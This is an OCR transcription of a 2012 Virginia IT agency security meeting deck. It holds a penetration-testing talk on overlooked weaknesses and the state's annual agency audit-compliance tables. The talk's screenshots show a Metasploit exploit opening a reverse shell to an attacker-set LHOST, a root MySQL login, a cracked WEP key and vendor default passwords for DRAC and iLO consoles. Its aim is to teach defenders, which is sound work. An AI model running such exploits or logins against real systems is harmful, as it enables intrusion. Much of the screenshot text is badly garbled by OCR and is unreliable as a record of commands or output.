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1. Welcome & Opening Remarks Michael Watson, VITA
1. Don’t Overlook the Obvious Bryan Miller, Syrinx Technologies
1I1l. CSRM Panel Discussion Benny Ambler, Bob Baskette

Michael Watson, VITA

V. 2012 COV Security Annual Report Michael Watson, VITA
V1. Upcoming Events & Other Business Michael Watson, VITA
VI1l. Partnership Update Bob Baskette, VITA

Anthony Sheffield and
Michael Clark, NG
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B.S. IS, M.S. CS - VCU

VCU Network Engineer for 5 years

CISSP, former Cisco CCIE in R/S

FTEMS, ISSA, ISACA, TALR, VA SCAN lecturer
Penetration testing for 11 years

Formed Syrinx Technologies in 2007

Published author with 25 years in I.T.
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e L e
m Cities m Counties
» Charlottesville s Chesterfield
= Danville = Goochland
» Fredericksburg = Henrico
» Harrisonburg = Prince George
» Lynchburg = PWCSA
= Portsmouth
= Williamsburg = Miscellaneous
= RMA
= RRHA
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= State Agencies
= Supreme Court of Virginia
VA Community College System
VA Dept. of Corrections
VA Dept. of Medical Assistance Services
VA Dept. of Taxation
VA Lottery

VA State Bar
VA Worker’s Compensation Commission

] [ [ [ [ [ [
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1. Bad password managenr

2. Default securit i
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ol X
Connecting, Pleasze Wait......

Connection Established to 10.88.53.121

} ipconfFig ~all

Einduus HT 1P Configurationd

Host Hame . . . . . .
DHE Servers . . . . .

18.80.49.252
18.80.49 117
Erundnastf

Ho P
Ho F
YesF

i

Hode T -
H:tBIﬂgPScnﬁz ipD. .
a

IP Routing bhled. .

WIHE Proxy Enabled. .

HetBIOS Resolution Use
Ethemet adapter vaxnetl:F

Dezcription . . . UHware Accelerated AMD PCHet Adaptersf
Physical Address. . Ba-58-56—-83-8C-FFF

DHCF Enabled. . - Ho F
- i8.8A.53.121 F

(TN

IP fAddress. . .
Subnet Mask . . 255,255, 213 ar
18.8@.48 .

Default Gatewa

Clear ZScreen

Password

Connect
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Internet Control Module v3.1

=yatem Status

STS2TEM STATUS NORMAL 03:21 PH 02-01-12

& Poswer On Setup
@ alarm Listings |
& Pre-Alarm FEWAL SCROLL
P Houikic % Protection Systems

@ Supervisary
@ Sience Aot
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:s»JToolssP4sDatabhasess\MySQLxbin>*mysgql —u »oot —p —-h 172_.38.52.5
Enter password:

delcome to the MySQL monitor. Commands end with ; or “g.

our MySQL connection id is 2Y41 to server version: 4.8.25-standard-log

ype ‘help:’ or 'Sh' for help. Type ‘¢’ to clear the bhuffer.
ysgl» show databhaszes;

2 rows in set (A.BA sec

12/5/2012 Don't Overlook the Obvious 17
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&= Praeda | & PIL
Hijetter. exe :E‘? PermStare
Prirter Jaob ... | [ PostSonpt

Printer Test ...
[Etpir. pl
rokes. et
pil-shell pl
webjetadmi...
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File Edit Versioning Access Control View Help
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XWatchWin [T0. 27198107 ()
el Session A - [24 x 80] L '

File Edit Wiew Communicakion Actions  Window  Help

] (% | ] o] o] 2] | @]

Inventory Control

75.

Process - Scan

F3=Exit

xInventory Maintenance x x Location

S e
s i

=) ™ 10.2.1.98:0
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= NOE 771 01 Web er - Windows Internet Explorer |:||§||X|

G@ - |£] htkpeff Y‘| |E| IE| |Z| |?' Google ||E|

File Edit Wiew Favorites Tools  Help

ﬁ = = @ ~ Page ~ Safety = Tools + Ov

sf Favorites | (@ NOE 771 0L Web Server

LMY N Telernecanique | NOE 771 01 Web Server

Home  Documentation

m [ Wowomg | oo ] Diagnosies

Diagnostics QUANTUM CONFIGURED LOCAL RACK

Configured Local Rack
Controller Status
RIO Status

[E] HOE Diagnostics
Global Data
0 Scanning
Messaging
Bandwidth Manitoring
Statistics
Email
Upload MIB file
Crash Log File

MOE Properies

Copyright @ 1998-2004, Schneider Automation SAS. All rights reserved.
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Cisco Systems

Accessing Cisco WS-C3560G-48PS "KM-C-IN-C3560-A04"

show diagnostic log - display the diagnostic log,
MMonitor the router - HTML access to the command bne interface atlevel 0,12 34567 85910,11,12,15.14,15

Connectivity test - ping the nameserver.

shew tech-suppott - display information commaonly needed by tech suppott.
Extended Ping - Send extended ping commands.

Web Console - Manage the Switch through the web interface.

Help resources

D0 at www cisco.comm - Cisco Connection Cnline, ncluding the Technical Assistance Center (TAC).
tac@icisco.com - e-tnai the TAC

1-800-553-2447 or +1-408-526-7209 - phone the TAC.
ce-htmli@icisco. com - e-mail the HTML interface development group.

Fool b
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Real-Time Data

Eevenue Measurements

Dower Quali

Voltage
WVin avg:
Vin a:
Wi b:
WVin o
WVl avg:
VI ab:
Vil be:
Vi ca

Frequency

Freq:

12/5/2012

12301V
122,64 V
12285V
12337V
21295V
21305V
21273 W
21316 W
031%

Cwrrent
Tavg
Ta
It
T
T4
Tunbal:

Power Factor
PF sign total:

PF sign a:
PF sign b
DPF zign o

Power

KW total:
W a
W b
W oo

VA total:
VA a
VA b
VA e

EVAR total:

VAR a
EVAER b
VAR o

Don't Overlook the Obvious

2968 kKW
930 kW
919 kW
1119 kW
2973 kVA
942 kWA
924 kWA
11.21 VA
-174 VAR
-1.47 KWVAR
-0.99 KVAR
071 EWVAR

23
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pohnolog s

. Metasploit Fram - |0] =

required EXITFUNC thread Exit technigue: "process'". "thread'., “'seh"
required LHOST Local address to receive connection
reguired LPORT 4321 Local port to receive connection
Target: Windows 20808 SPA-5P4 English

sf m=@5_B37_pnpiwindZ_reversed > set LHOST 192.168.3.119

LHOST —> 192_.168.3.11%

sf msB5_B637_pnpiwindZ_reverse? » show options

Exploit and Payload Options

Exploit: Default Description

reguired 192 _168._.1._30 The target address

required browzer Pipe name: hrowser, swusuvc, uwukssuc
optional The domain for specified SMB username
required 139 The target port

optional The SHMEB username to connect with
optional SMBPASS The password for specified SMB username

Payload: Mame Default Description

reguired EXITFUNC thread Exit technigue: "“process",. "thread". "seh"
required LHOST 1?2 .168.3.119 Local address to receive connection
reguired LPORT 4321 Local port to receive connection

Target: Windows 2088 SPE-S5P4 English

sf mzB5_BA37_pnpiwini2_reverse? > exploit

[#] Starting Reverse Handler.

[#] Detected a Windows 2808 target

[#]1 Sending request...

[#]1 Got connection from 172.168_3.117:-4321 <> 192.168.1.30:4126

icrozoft Windows ZA8A [Uersion 5.860.21951
CC>» Copyright 1985-20808 Microsoft Corp.

SHWINNT ~system32 >
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¢~ JBoss JMX Management Console - Windows Internet Explorer

G-

<. https:yf

File Edit “iew Fawvaoribes Tools  Help

% ﬂ @JBDSS % Management Console

:. B o
o0

JMX Agent View

ObjectName Filter (e.g. "jboss:*", "*:service=invoker,®") ;| %20%20V/>\

Windows Internet Explorer |X|
i' : Swrine Rulez

o & ][4 )[x]
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-Dell Remote Access Controller 5 - Windows Internet Explorer

File Edit  View Favorites: Tools  Help

57 Favarites g Dell Remate Access Contraller 5

Dell Remote Access Controller 5

D&LL

10.23.1.210

Logging In
ﬁ NOTE: To log in as a DRAC 5 user, you must have Log In to DRAC 5 permission.

You can log in as either a DRAC 5 user or as an Active Directory user. To log in, perform

the followin

< ﬁ NOTE: The default DRAC 5 username and password are root and calvin.

1. Inthe Seldospbar aither yor DEAC S Ser names, OF
Active Directory username as <domain>\<user name> OF <user>@<domainz. This
field is case sensitive.

Login
Type in Username and Password, and then click OK. 2. In the Password field, enter your DRAC 5 user password or Active Directory user
: password. This field is case sensitive. You can also use the «<Tab> key to navigate

Password: l:l 3. Click OK or press <Enters.

Logging Out
K Camal

Click Log Out in the upper-right corner of the main window.

ﬁ NOTE: The Log Out button does not appear until you log in.

| o Internet

| dp v mio0w -
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Address | @] https:f{172,16.60,26]

Integrated Lights-Out 2
HP Integrity

Microsoft Internet Explorer

Only default users are configured.
Use one aof the Following user/passward pairs to login:

AdraingAdmin
QperiOper

Thizs iz a private system. Do not attempt to login unless you are an authorized user.
Any authorized or unauthorized access and use may be monitored and can result in
criminal or civil prosecution under applicable [aw.

& Copyright Hewlett-Packard Company 1999-2010. All Rights Resenred.

12/5/2012 Don't Overlook the Obvious
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- Windows Internet Explorer

TANDEERG DATA ==

2000 Series

Overview
4 ) System Administration
Bl General Settings
ﬂ Metwork
2 Hardware
L Security
* Notification
M Power Management
& Metwork Recycle Bin
£, Backup System Settings
%, System Logs
W Firmware Update
@ Restore to Factory Default
(-7 Disk Management
4] Access Right Management
& Users
& User Groups
~ 2hara FEnldare

-

Function Search

Home>> System Administration>> Notification

Notification

| CONFIGURE SMTP SERVER |

Configure SMTP Server

Fort Number.

v Enable SMTP Authentication

Password:

[~ UseSSUTLS secure connection

Welcome admin | Logout

English (¥

APPLY
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Shell - Konsole =4>

[00:00:01] Tested 809 keys (got 191881 IVs)

depth  bytelvote)

@/ 1 74(147968) EO(116224) DA(1l3664) 36(112896) CB(111872)
15/ 3C(110080) 2B(109568) FD(1AS568) FF(109568) 63(109312)
0/ S5C1146432) BB(115456) D4(113408) 6E(113152) 63(111872)

1
z

26/ 3 92(108800) 4Ai(108288) 5D(108288) 72(108288) 8C(108032)
4

2/ 2 BE(116992) 53(114176) 8C(113920) 8F(111872) 4D(111360)
KEY FOUND! [ 74:73:75:6E:61:6D:69:30:31:32:33:34:35 | (ASCIT: tsunamifl2345

Decrypted correctly: 100%

12/5/2012 Don't Overlook the Obvious 30



Server Unly
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Ease of
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= Data breaches affect your organization’s
reputation and can cost you significant money:.

= Software is becoming more complex while
attacker tools are becoming easier to use.

= Data breaches can be reduced by following best
practice rules to eliminate LHF.

12/5/2012 Don't Overlook the Obvious 36
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V' A
Virginia Information Technologies Agency

CSRM Panel Discussion

Benny Ambler, Sr Mgr Security Governance
Bob Baskette, Sr Mgr Security Operations & Architecture
Whemael \Watson, Chief Information Security Officer

www.vita.virginia.gov 38
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2012
Commonwealth Security Annual Report

Michael Watson
Chief Information Security Officer
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§ 2.2-2009

8§ 2.2-2009. Additional duties of the CIO relating to security of government information.

C. The CIO shall annually report to the Governor, the Secretary, and General Assembly
those executive branch and independent agencies and institutions of higher
education that have not implemented acceptable policies, procedures, and standards
to control unauthorized uses, intrusions, or other security threats. For any executive
branch or independent agency or institution of higher education whose security audit
results and plans for corrective action are unacceptable, the CIO shall report such
results to (i) the Secretary, (ii) any other affected cabinet secretary, (iii) the
Governor, and (iv) the Auditor of Public Accounts. Upon review of the security audit
results in question, the CIO may take action to suspend the public body's information
technology projects pursuant to 8 2.2-2015, limit additional information technology
iInvestments pending acceptable corrective actions, and recommend to the Governor
and Secretary any other appropriate actions.

The CIO shall also include in this report (@) results of security audits, including those
state agencies, independent agencies, and institutions of higher education that have
not implemented acceptable regulations, standards, policies, and guidelines to
control unauthorized uses, intrusions, or other security threats and (b) the extent to
which security standards and guidelines have been adopted by state agencies.

www.vita.virginia.gov 40
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Detalled Agency Information Security - 2012

Overall Audit Program Scores

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
XYz Yes N/A 2 Current 100 75 75 100

1SO Designated: The Agency Head has:

Yes - designated an I1SO with the agency within the past two years

No — not designated an ISO for the agency since 2006

Expired —designated an ISO more than 2 years ago or the designated ISO is no longer with the agency

1SO Certification
N/A— The certification program is pending, and scheduled to start in 2013.

Attended IS Orientation:
The number indicates agency personnel that have attended the optional Information Security Orientation sessions within the

last 2 years. Their attendance indicates they are taking additional, voluntary action to improve security at their agency akin to
“Extra Credit!”

www.vita.virginia.gov 41
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Detalled Agency Information Security - 2012

Overall Audit Program Scores con’'t

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
XYz Yes N/A 2 Current 100 75 75 100

Security Audit Plan Received: The Agency Head has:

Current - submitted a Security Audit Plan for the period of fiscal year (FY) 2012-2014 or 2013-2015 for systems classified as
sensitive based on confidentiality, integrity or availability (Note: after July 1, 2012, Audit Plans submitted shall reflect 2013-
2015)

No - not submitted a Security Audit Plan since 2006

Exception — submitted an exception on file with VITA to allow time for developing the Security Audit Plan & the CISO has
approved

Expired —submitted a Security Audit Plan on file that does not contain the current three year period fiscal year (FY) 2012-2014
or 2013-2015

Pending —submitted a Security Audit Plan that is currently under review

2012 - Percentage of Audit Reports Received per the Audit Plan: The Agency Head or designee has:
% — submitted % of Audit Reports or planned audits listed on submitted Audit Plan

NZ/A - not had Security Audits scheduled to be completed
Pending —submitted a Corrective Action Plan that is currently under review

2012 - Percentage of CAPs Received: The Agency Head or designee has:
%0 — submitted % of CAPs for planned audits listed on submitted Audit Plan

NZA - not had Security Audits scheduled to be completed
Pending —submitted a Corrective Action Plan that is currently under review

www.vita.virginia.gov
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Detalled Agency Information Security - 2012

Overall Audit Program Scores con’'t

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
XYz Yes N/A 2 Current 100 75 75 100

2012 - Percentage of Quarterly Updates Received: The Agency Head or designee has:
% — submitted % of QUs for all open findings per CAPs submitted

NZA - not had Security Audits scheduled to be completed

Pending —submitted a Corrective Action Plan that is currently under review

3 year - Percentage of Audit Obligation Completed:

This Datapoint is based on the IT Security Audit Standard requirement: “At a minimum, databases that contain sensitive
data, or reside in a system with a sensitivity of high on any of the criteria of confidentiality, integrity, or availability, shall
be assessed at least once every three years.”

Agencies that did not submit an IT Security Audit Plan by 2009 were not in compliance and therefore there is no data to
report on for 2012. Systems that have been removed from audit plans within the three-year period due to retirement of
the system or reclassification to non-sensitive are not counted.

% — Sensitive systems listed on agency IT Security Audit Plans vs. audits conducted in the last 3 years

Pending — currently under review

Exception — submitted an exception on file with VITA to allow time for developing the Security Audit Plan & the CISO
has approved

www.vita.virginia.gov 43
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Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . ..
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
CB Yes N/A 0 Current 0 0 N/A 0
DGS Yes N/A 2 Current 0 0 0 25
DHRM Yes N/A 0 Current 0 0 N/A 100
DMBE Yes N/A 1 Current 100 100 N/A 100
0ISG Yes N/A 1 Expired N/A N/A N/A 0
SBE Yes N/A 1 Expired N/A N/A N/A 0

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov Data as of 11/28/2012 44
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Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
DOF Yes N/A 1 Current 0 0 N/A 100
VDACS Yes N/A 0 Current 100 100 94.44 100

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact

Data as of 11/28/2012 45
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Secretariat: Commerce & Trade

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
BOA Yes N/A 1 Current 100 100 N/A 100
DBA Yes N/A 0 Expired N/A N/A N/A 0
DHCD Yes N/A 0 Current 0 0 0 80
DMME Yes N/A 6 Expired 50 50 N/A 71
DOLI Yes N/A 0 Expired 0 0 N/A 0
DPOR Yes N/A 0 Expired N/A N/A 25 100
TIC Yes N/A 0 Expired N/A N/A N/A 0
VEC Yes N/A 0 Current 33.33 33.33 22.22 44
VEDP* Yes N/A 1 Expired 0 0 N/A 0
VRA No N/A 0 Expired N/A N/A N/A 0
VRC Yes N/A 1 Current 0 0 0 100

* VEDP includes VTA and VNDIA

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov Data as of 11/28/2012 4
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Secretariat;: Education

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . ..
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012

DOE Yes N/A 1 Current 100 100 77.78 100
FCMV Yes N/A 0 Expired N/A N/A N/A 100

GH Yes N/A 0 Expired N/A N/A N/A 0

JYF Yes N/A 0 Current 0 0 N/A 100
LVA Yes N/A 0 Current 100 100 N/A 100
NSU Yes N/A 4 Current Pending Pending Pending Pending
RBC Yes N/A 1 Current N/A N/A N/A 100
SCHEV Yes N/A 0 Expired 0 0 N/A 0

SMV Yes N/A 0 Current N/A N/A N/A 100
SVHEC Yes N/A 0 Expired N/A N/A N/A 100
UMW Yes N/A 1 Current 100 100 33.33 100
VCA Yes N/A 0 Expired 0 0 N/A 100
VMFA Yes N/A 2 Current 0 0 0 0
\VSDB Yes N/A 0 Expired 0 0 N/A 0

VSU Yes N/A 2 Current 100 100 78.12 78

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

Data as of 11/28/2012 47
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Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
DOA Yes N/A 0 Expired 0 0 0 25
DPB Yes N/A 0 Expired N/A N/A 0 0
TAX Yes N/A 2 Current 22.73 22.73 71.7 53
TD Yes N/A 0 Expired 0 0 N/A 0

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact

CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov Data as of 11/28/2012 48
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Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . ..
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
CSA Yes N/A 0 Expired N/A N/A N/A 0
DBHDS* Yes N/A 1 Current N/A N/A 0 83
DHP Yes N/A 2 Current N/A N/A N/A 100
DMAS Yes N/A 6 Current 100 100 N/A 98
DRS** Yes N/A 0 Current 75 75 78.26 29
DSS Yes N/A 3 Current Pending Pending Pending Pending
VDH Yes N/A 1 Current 57.14 57.14 64.29 39
VFHY Yes N/A 0 Expired 0 0 N/A 100

* DBHDS includes VCBR
** DRS includes DBVI, VDA, VDDHH,VBPD, and WWRC

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov Data as of 11/28/2012 49
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Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . ..
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
DCR Yes N/A 0 Current 0 0 0 67
DEQ Yes N/A 1 Current N/A N/A N/A 67
DGIF Yes N/A 2 Current N/A N/A N/A 100
DHR Yes N/A 0 Current N/A N/A N/A 0
MRC Yes N/A 1 Current N/A N/A N/A 100
VMNH Yes N/A 0 Expired N/A N/A N/A 0

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov Data as of 11/28/2012 5o
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Secretariat. Public Safety

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . ..
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
ABC Yes N/A 4 Current 0 0 100 86
CASC Yes N/A 0 Expired N/A N/A N/A 100
DCJS Yes N/A 3 Expired N/A N/A N/A
DEM Yes N/A 2 Expired 0 0 N/A
DFP Yes Yes 1 Expired 0 0 N/A
DFS Yes N/A 1 Current 100 100 44.44 100
DJJ Yes N/A 2 Current 0 0 N/A 67
DMA Yes N/A 0 Expired N/A N/A N/A 0
DOC* Yes N/A 5 Current 100 100 70.59 83
DVS** Yes N/A 1 Current N/A N/A N/A 100
VSP Yes N/A 0 Current 50 50 77.27 89

*DOC includes VPB
** DVS includes VWM

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov
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i
v A Virginia Information Technologies Agency

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
IEIA Yes N/A Expired 0 N/A 0
VITA Yes N/A 4 Current 0 0 100 33

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
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i
v A Virginia Information Technologies Agency

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . ..
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
DMV Yes N/A 0 Expired 0 0 0 100
DOAV Yes N/A 2 Current 0 0 N/A 0
DRPT Yes N/A 0 Expired N/A N/A N/A 0
MVDB Yes N/A 0 Expired N/A N/A N/A 100
VDOT Yes N/A 0 Current Pending Pending Pending Pending
VPA No N/A 0 Expired N/A N/A N/A 0

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov
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i
v A Virginia Information Technologies Agency

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
IDC Yes N/A 1 Current N/A N/A 58.33 80
SCC Yes N/A 2 Expired 66.67 66.67 73.33 100
SLD Yes N/A 0 Current 100 100 45.45 50
\VCSP Yes N/A 1 Current 0 0 N/A 100
VOPA Yes N/A 2 Expired N/A N/A N/A 0
VRS Yes N/A 0 Pending Pending Pending Pending Pending
VWC Yes N/A 1 Current 0 0 N/A 17

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov
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v A Virginia Information Technologies Agency

Percent of Percent
Security Audit Total Percentage Of
ISO ISO IS . CAPS . . L
Agency . cpe . . Audit Plan Reports . Percentage | Audit Obligation
Designated | Certified | Orientation . . Received
Received Received QU 2012 Complete
2012
2012
GOV Yes N/A 0 Current 0 0 N/A 0
OAG Yes N/A 2 Current N/A N/A 0 100

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
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i
v A Virginia Information Technologies Agency

Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted

XYZ Yes Pending No

All documentation received as requested information about the agency’s RA(S),
BIA, or IDS reports.

Yes — Agency has submitted RA, BIA or IDS Report(s)
No — Agency has not submitted RA, BIA or IDS Report(s)
Pending — Agency has submitted RA, BIA or IDS Report(s) that is currently under review

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov
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i
v A Virginia Information Technologies Agency

Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
CB No Yes Yes
DGS No No Yes
DHRM No Yes Yes
DMBE No Yes Yes
0ISG No No No
SBE No No Yes

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides

will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov
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vm A Virginia Information Technologies Agency

Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
DOF No Yes Yes
VDACS Yes Yes Yes

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact

Data as of 11/28/2012 ss
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i
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
BOA Yes Yes Yes
DBA No No Yes
DHCD No Yes Yes
DMME No Yes Yes
DOLI No No Yes
DPOR Yes Yes Yes
TIC Pending Yes Yes
VEC No No Yes
VEDP* No No Yes
VRA No No No
VRC No Yes Yes

* VEDP includes VTA and VNDIA

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides

will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov
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i
v A Virginia Information Technologies Agency

Secretariat: Education

Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
DOE Yes Pending Yes
FCMV No No Yes
GH No No Yes
JYF Yes No Yes
LVA Yes No Yes
NSU No Pending Yes
RBC No No No
SCHEV No No Yes
SMV No No Yes
SVHEC No No No
UMW No Yes No
VCA No No Yes
VMFA No No Yes
VSDB No No Yes
VSU Yes Yes No

www.vita.virginia.gov Data as of 11/28/2012 o
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
DOA No No Yes
DPB No No Yes
TAX Yes Yes Yes
TD No Pending Yes

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact

CommonwealthSecurity@VITA.Virginia.Gov
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
CSA No No Yes
DBHDS* No No Yes
DHP Yes Yes Yes
DMAS No Yes Yes
DRS** No No Yes
DSS Yes Pending Yes
\VDH No No Yes
VFHY No No Yes

* DBHDS includes VCBR
** DRS includes DBVI, VDA, VDDHH,VBPD, and WWRC

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov
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i
v A Virginia Information Technologies Agency

Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
DCR No No Yes
DEQ No No Yes
DGIF No No Yes
DHR No No Yes
MRC Yes Yes Yes
VMNH No No Yes

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides

will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov

Data as of 11/28/2012



mailto:CommonwealthSecurity@VITA.Virginia.Gov

i
v A Virginia Information Technologies Agency

Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
ABC No Pending Yes
CASC No No Yes
DCIS Yes Yes Yes
DEM No Yes Yes
DFP Pending Yes Yes
DFS Yes Yes Yes
DJJ Yes Yes Yes
DMA No No Yes
DOC* Pending Pending Yes
DVS** Pending Yes Yes
VSP No No Yes

*DOC includes VPB
** DVS includes VWM

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides

will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov
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i
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
IEIA No No Yes
VITA Yes Yes Yes

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
DMV Yes Yes Yes
DOAV No No Yes
DRPT No No Yes
MVDB No No Yes
VDOT Pending Pending Yes
VPA No No No

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact

CommonwealthSecurity@VITA.Virginia.Gov
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
IDC No No Yes
SCC No No No
SLD No No No
\VCSP No No No
VOPA No No No
VRS No Pending Yes
VWC No No No

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides

will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
CommonwealthSecurity@VITA.Virginia.Gov

www.vita.virginia.gov
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Agency Risk Assessment Submitted BIA Submitted IDS Reports Submitted
GOV No No Yes
OAG No No Yes

NOTE: Information in this slide represents what Commonwealth Security is currently tracking for these agencies. The data in these slides
will change month to month as agencies submit their documentation. If any of the information seems erroneous please contact
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What should an agency do if they conduct a Security Audit that
results in no findings?

In the event that a Security Audit was performed and there were no
findings, CSRM will record this action from the audit report received.
No further action will be needed.

What is the cutoff date to submit documentation for the
Commonwealth Security Annual Report?

December 31, 2012
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For more information, please contact:
CommonwealthSecurity@vita.virginia.gov

Thank Youl!
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Upcoming Events

www.vita.virginia.gov 71



m Virginia Information Technologies Agency

General Assembly convenes
January 9, 2013

(Odd number year = short session)



m Virginia Information Technologies Agency

Center for Internet Security &
SANS Institute
for Security Awareness Training

As part of the Center for Internet Security and SANS partnership

agreement they are offering this aggregate purchasing opportunity for
state, local, territory and tribal governments, as well as related
educational and not-for-profit entities,

during the December 1, 2012 to January 31, 2013 timeframe.

For more information:

http://alliance.cisecurity.org/opportunity/sans-securing-the-
human-purchasing-opportunity.cfm
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m Virginia Information Technologies Agency

